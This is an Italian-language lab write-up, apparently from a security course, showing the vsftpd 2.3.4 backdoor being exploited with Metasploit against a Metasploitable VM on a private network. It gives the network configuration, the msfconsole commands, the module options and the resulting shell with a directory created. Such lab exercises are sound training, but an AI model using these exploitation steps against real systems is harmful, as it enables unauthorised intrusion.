

S7-L1

Cambio IP su Metasploit 192.168.1.149

```
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
```

[Read 20 lines]

^G Get Help	^O WriteOut	^R Read File	^Y Prev Page	^K Cut Text	^C Cur Pos
^X Exit	^J Justify	^W Where Is	^V Next Page	^U UnCut Text	^T To Spell

Cambio IP su Kali 192.168.1.150 per mettere in intranet le due reti.

```
File Actions Edit View Help
GNU nano 8.0 /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
    address 192.168.1.150
    netmask 255.255.255.0
    gateway 192.168.1.1
```

Avvio di “msfconsole” per connettersi alla Metasploit.

Metasploit tip: Save the current environment with the save command, future console restarts will use this environment again

[illegible]

```

+ -- ==[ 2397 exploits - 1235 auxiliary - 422 post
+ -- ==[ 1391 payloads - 46 encoders - 11 nops
+ -- ==[ 9 evasion

```

Successivamente una volta connesso ho fatto una ricerca specifica su vsftpd, trovato dal comando “nmap -A” per trovare le porte aperte sulla Metasploit. Per poi fare il “search vsftpd” per visualizzare i moduli disponibili.

```

SCAN nessus=[ metasploit v6.3.55-dev ]
+ -- --=[ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
file.php
msf6 > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank      Check  Description
--  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal    Yes    VSFTPD 2.3.2 Denial
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdo

Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_2
msf6 > use 1

```

Ho scelto l'Exploit numero 1 "(exploit/unix/ftp/vsftpd_234_backdoor)" da lanciare con "use 1".

```

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      Thema_Sw...      no        The local client address
CPORT      21               no        The local client port
Proxies    0               no        A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS     0               yes       The target host(s), see https://docs.metasploit.com/docs/usi
loit/basics/using-metasploit.html
RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

Name      Current Setting  Required  Description
--      -
RHOST     192.168.1.149   yes       The target host(s)
RPORT     21              yes       The target port (TCP)

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.1.149
rhost => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)

```

Il passaggio successivo è fare show options per visualizzare le opzioni se sono corrette per andare avanti, e per fare mente locale. Successivamente, siccome mancava l'RHOST, ovvero il target da

attaccare (192.168.1.149), e ci dice che ha accettato la nostra richiesta. Infine ho lanciato il run (che poteva essere anche il comando “exploit”) per avviare il l'attacco.

```
mkdir /home/msfadmin/test_metasploit
ls
bin
boot
cdrom
de
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
ls /home/msfadmin/
test_metasploit
vulnerable
```

In quest’ultimo passaggio ho creato con “mkdir” una cartella nella seguente sotto-cartella “home/msfadmin/” chiamandola “test_metasploit” e lanciato un “ls” successivamente per dimostrare la visibilità della cartella creata.